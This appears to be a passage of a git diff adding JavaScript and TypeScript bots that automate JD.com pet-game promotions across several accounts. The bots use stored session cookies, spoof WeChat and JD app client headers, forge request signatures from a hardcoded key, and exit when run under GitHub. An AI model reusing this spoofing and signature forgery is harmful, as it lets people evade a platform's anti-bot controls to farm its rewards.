"H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_joy_new.js b/jd_joy_new.js new file mode 100644 index 0000000000..83b6c2728d --- /dev/null +++ b/jd_joy_new.js @@ -0,0 +1,736 @@ +/** + 更新时间:2021-09-30 + cron: 0 0-23/2 * * * + export feedNum=80 + export JD_JOY_teamLevel=2 + */ + +const $ = new Env("宠汪汪二代目") +console.log('\n====================Hello World====================\n') + +const injectToRequest = require("./utils/jd_joy_validate").injectToRequest, USER_AGENT = require("./USER_AGENTS").USER_AGENT, md5 = require('md5') + +let cookiesArr = [], cookie = '', notify; +let invokeKey = 'q8DNJdpcfRQ69gIx'; + +$.get = injectToRequest($.get.bind($)) +$.post = injectToRequest($.post.bind($)) + +!(async () => { + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + if (!require('./JS_USER_AGENTS').HelloWorld) { + console.log(`\n【京东账号${$.index}】${$.nickName || $.UserName}:运行环境检测失败\n`); + break + } + console.log(`\n开始【京东账号${$.index}】${$.UserName}\n`); + + let res = await api('gift/getBeanConfigs'); + try { + console.log('现有积分:', res.data.petCoin) + } catch (e) { + console.log('没有获取到积分余额') + continue + } + + await getFriends(); + + await run('detail/v2'); + await run(); + // await feed(); + + let tasks = await api('pet/getPetTaskConfig'); + for (let tp of tasks.datas) { + console.log(tp.taskName, tp.receiveStatus) + if (tp.receiveStatus === 'unreceive') { + await award(tp.taskType); + await $.wait(3000); + } + if (tp.taskName === '浏览频道') { + let followChannelList = await api('pet/getFollowChannels'); + for (let t of followChannelList['datas']) { + if (!t.status) { + console.log('┖', t['channelName']) + await beforeTask('follow_channel', t.channelId); + await $.wait(1000) + await doTask(JSON.stringify({"channelId": t.channelId, "taskType": 'FollowChannel'})) + await $.wait(6000) + } + } + } + + if (tp.taskName === '逛会场') { + for (let t of tp.scanMarketList) { + if (!t.status) { + console.log('┖', t.marketName) + await beforeTask('scan_market', encodeURIComponent(t.marketLink || t.marketLinkH5)) + await $.wait(1000) + await doTask(JSON.stringify({ + "marketLink": t.marketLink || t.marketLinkH5, + "taskType": "ScanMarket" + }), 'scan') + await $.wait(6000) + } + } + } + + if (tp.taskName === '关注商品') { + for (let t of tp.followGoodList) { + if (!t.status) { + console.log('┖', t.skuName) + await beforeTask('follow_good', t.sku) + await $.wait(1000) + await doTask(`sku=${t.sku}`, 'followGood') + await $.wait(6000) + } + } + } + + if (tp.taskName === '关注店铺') { + await $.wait(10000) + for (let t of tp.followShops.reverse()) { + if (!t.status) { + await beforeTask('follow_shop', t.shopId); + await $.wait(1000); + await followShop(t.shopId) + await $.wait(6000); + } + } + } + } + } + } +})() + +function api(fn) { + return new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + invokeKey + lkt).toString() + $.get({ + url: `https://draw.jdfcloud.com//common/${fn}?reqSource=weapp&invokeKey=${invokeKey}`, + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'draw.jdfcloud.com', + 'content-type': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.16(0x18001027) NetType/WIFI Language/zh_CN', + 'Referer': 'https://servicewechat.com/wxccb5c536b0ecd1bf/770/page-frame.html', + 'Cookie': cookie, + }, + }, (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + resolve(e) + } + }) + }) +} + +function beforeTask(fn, shopId) { + return new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + invokeKey + lkt).toString() + $.get({ + url: `https://draw.jdfcloud.com//common/pet/icon/click?iconCode=${fn}&linkAddr=${shopId}&reqSource=weapp&invokeKey=${invokeKey}`, + headers: { + lkt: lkt, + lks: lks, + 'Host': 'draw.jdfcloud.com', + 'Connection': 'keep-alive', + 'content-type': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.16(0x18001027) NetType/WIFI Language/zh_CN', + 'Referer': 'https://servicewechat.com/wxccb5c536b0ecd1bf/770/page-frame.html', + 'Cookie': cookie + } + }, (err, resp, data) => { + data = $.toObj(data) + if (data.errorCode === null) + console.log('before task: OK'); + else + console.log('before task Error:', data); + resolve(); + }) + }) +} + +function followShop(shopId) { + return new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + invokeKey + lkt).toString() + $.post({ + url: `https://draw.jdfcloud.com//common/pet/followShop?reqSource=weapp&invokeKey=${invokeKey}`, + headers: { + lkt: lkt, + lks: lks, + 'Host': 'draw.jdfcloud.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.16(0x18001027) NetType/WIFI Language/zh_CN', + 'Referer': 'https://servicewechat.com/wxccb5c536b0ecd1bf/770/page-frame.html', + 'Cookie': cookie + }, + body: `shopId=${shopId}` + }, (err, resp, data) => { + console.log(data) + resolve(); + }) + }) +} + +function doTask(body, fnId = 'scan') { + return new Promise(resolve => { + let contentType + let lkt = new Date().getTime() + let lks = md5('' + invokeKey + lkt).toString() + if (fnId === 'followGood' || fnId === 'followShop') { + contentType = 'application/x-www-form-urlencoded' + } else { + contentType = 'application/json' + } + $.post({ + url: `https://draw.jdfcloud.com//common/pet/${fnId}?reqSource=weapp&invokeKey=${invokeKey}`, + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'draw.jdfcloud.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.16(0x18001027) NetType/WIFI Language/zh_CN', + 'Referer': 'https://servicewechat.com/wxccb5c536b0ecd1bf/770/page-frame.html', + 'Content-Type': contentType, + 'Cookie': cookie + }, + body: body + }, (err, resp, data) => { + if (err) + console.log('\tdoTask() Error:', err) + try { + data = JSON.parse(data); + data.success ? console.log('\t任务成功') : console.log('\t任务失败', JSON.stringify(data)) + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }) + }) +} + +function feed() { + let feedNum = process.env.feedNum ? process.env.feedNum * 1 : 80 + return new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + invokeKey + lkt).toString() + $.get({ + url: `https://draw.jdfcloud.com//common/pet/feed?feedCount=${feedNum}&invokeKey=${invokeKey}`, + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'draw.jdfcloud.com', + 'Connection': 'keep-alive', + 'content-type': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.16(0x18001027) NetType/WIFI Language/zh_CN', + 'Referer': 'https://servicewechat.com/wxccb5c536b0ecd1bf/770/page-frame.html', + 'Cookie': cookie + }, + body: JSON.stringify({}) + }, (err, resp, data) => { + try { + console.log(data) + data = JSON.parse(data) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function award(taskType) { + return new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $.get({ + url: `https://jdjoy.jd.com/common/pet/getFood?reqSource=h5&invokeKey=q8DNJdpcfRQ69gIx&taskType=${taskType}`, + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://h5.m.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': 'https://h5.m.jd.com/', + 'Content-Type': 'application/json; charset=UTF-8', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + data = JSON.parse(data); + data.errorCode === 'received' ? console.log('任务完成:', data.data) : console.log('\t任务失败:', data) + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }) + }) +} + +function run(fn = 'match') { + let level = process.env.JD_JOY_teamLevel ? process.env.JD_JOY_teamLevel : 2 + return new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $.get({ + url: `https://jdjoy.jd.com/common/pet/combat/${fn}?teamLevel=${level}&reqSource=h5&invokeKey=q8DNJdpcfRQ69gIx`, + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'jdjoy.jd.com', + 'origin': 'https://h5.m.jd.com', + 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + "User-Agent": USER_AGENT, + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (fn === 'receive') { + console.log('领取赛跑奖励:', data) + } else { + data = JSON.parse(data); + let race = data.data.petRaceResult + if (race === 'participate') { + console.log('匹配成功!') + } else if (race === 'unbegin') { + console.log('还未开始!') + } else if (race === 'matching') { + console.log('正在匹配!') + await $.wait(2000) + await run() + } else if (race === 'unreceive') { + console.log('开始领奖') + await run('receive') + } else if (race === 'time_over') { + console.log('不在比赛时间') + } else { + console.log('这是什么!', data) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }) + }) +} + +function getFriends() { + return new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $.post({ + url: 'https://jdjoy.jd.com/common/pet/enterRoom/h5?invitePin=&reqSource=h5&invokeKey=q8DNJdpcfRQ69gIx', + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'jdjoy.jd.com', + 'Content-Type': 'application/json', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html?babelChannel=ttt12&sid=445902658831621c5acf782ec27ce21w&un_area=12_904_3373_62101', + 'Origin': 'https://h5.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Cookie': cookie + }, + body: JSON.stringify({}) + }, async (err, resp, data) => { + let flag = true + for (let k = 0; k < 20; k++) { + if (flag) { + await $.wait(1000) + } else { + console.log('无法获取好友列表') + break + } + $.get({ + url: 'https://jdjoy.jd.com/common/pet/h5/getFriends?itemsPerPage=20¤tPage=1&reqSource=h5&invokeKey=q8DNJdpcfRQ69gIx', + headers: { + 'Host': 'jdjoy.jd.com', + 'Accept': '*/*', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cookie': cookie + } + }, async (err, resp, data) => { + data = JSON.parse(data) + if (data.datas) { + for (let f of data.datas) { + if (f.stealStatus === 'can_steal') { + console.log('可偷:', f.friendPin) + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $.get({ + url: `https://jdjoy.jd.com/common/pet/enterFriendRoom?reqSource=h5&invokeKey=q8DNJdpcfRQ69gIx&friendPin=${encodeURIComponent(f.friendPin)}`, + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'jdjoy.jd.com', + 'Accept': '*/*', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cookie': cookie + } + }, (err, resp, data) => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $.get({ + url: `https://jdjoy.jd.com/common/pet/getRandomFood?reqSource=h5&invokeKey=q8DNJdpcfRQ69gIx&friendPin=${encodeURIComponent(f.friendPin)}`, + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'jdjoy.jd.com', + 'Accept': '*/*', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cookie': cookie + } + }, (err, resp, data) => { + data = JSON.parse(data) + console.log('偷狗粮:', data.errorCode, data.data) + }) + }) + } + await $.wait(1500) + } + } + }) + } + resolve(); + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_joy_park.ts b/jd_joy_park.ts new file mode 100644 index 0000000000..680c787b2c --- /dev/null +++ b/jd_joy_park.ts @@ -0,0 +1,124 @@ +import axios from 'axios'; +import USER_AGENT from './TS_USER_AGENTS'; + +let $: any = {}; +let cookie: string = '', cookiesArr: Array = [], res: any = ''; +let joyId: Array = [], workJoyInfoList: any = []; +let joyId1: number; + +!(async () => { + await requireConfig(); + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + + // let joy: any = await joyList(); + // if (joy.data.activityJoyList.length !== 0) { + // joyId1 = joy.data.activityJoyList[0].id + // console.log(joy.data.activityJoyList) + // 1:种田 2:出了 + // res = await api('joyMove', {"joyId": joyId1, "location": 0, "linkId": "LsQNxL7iWDlXUs6cFl-AAg"}) + // console.log(res) + // } + + let taskVos: any = await api('apTaskList', {"linkId": "LsQNxL7iWDlXUs6cFl-AAg"}); + let tasks: any = taskVos.data + for (let t of tasks) { + if (t.taskTitle === '汪汪乐园签到') { + if (t.taskDoTimes === 0) { + res = await api('apDoTask', {"taskType": t.taskType, "taskId": t.id, "linkId": "LsQNxL7iWDlXUs6cFl-AAg"}) + console.log('签到:', res) + await wait(1000) + await api('apTaskDrawAward', {"taskType": t.taskType, "taskId": t.id, "linkId": "LsQNxL7iWDlXUs6cFl-AAg"}) + } + } else if (t.taskTitle === '汪汪乐园浏览会场' || t.taskTitle === '汪汪乐园浏览商品') { + let arr: Array = ['汪汪乐园浏览会场', '汪汪乐园浏览商品'] + for (let name of arr) { + if (t.taskDoTimes + 1 === t.taskLimitTimes || t.taskDoTimes === t.taskLimitTimes) continue + let times: number = name === '汪汪乐园浏览会场' ? 5 : 10; + res = await api('apTaskDetail', {"taskType": t.taskType, "taskId": t.id, "channel": 4, "linkId": "LsQNxL7iWDlXUs6cFl-AAg"}) + let apTaskDetail: any, taskResult: any, awardRes: any; + + console.log(res.data) + + for (let i = 0; i < times; i++) { + try { + apTaskDetail = res.data.taskItemList[i] + } catch (e) { + break + } + console.log('apTaskDetail:', apTaskDetail) + taskResult = await api('apDoTask', {"taskType": t.taskType, "taskId": t.id, "channel": 4, "linkId": "LsQNxL7iWDlXUs6cFl-AAg", "itemId": encodeURIComponent(apTaskDetail.itemId)}) + console.log('doTask: ', JSON.stringify(taskResult)) + if (taskResult.errMsg === '任务已完成') break + console.log('等待中...') + await wait(10000) + awardRes = await api('apTaskDrawAward', {"taskType": t.taskType, "taskId": t.id, "linkId": "LsQNxL7iWDlXUs6cFl-AAg"}) + if (awardRes.success && awardRes.code === 0) + console.log(awardRes.data[0].awardGivenNumber) + else + console.log('领取奖励出错:', JSON.stringify(awardRes)) + await wait(1000) + } + } + } + } + } +})() + +function api(fn: string, body: Object): Object { + return new Promise(async resolve => { + let {data}: any = await axios.post("https://api.m.jd.com/", + `functionId=${fn}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform` + , { + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': USER_AGENT, + 'Host': 'api.m.jd.com', + 'Referer': 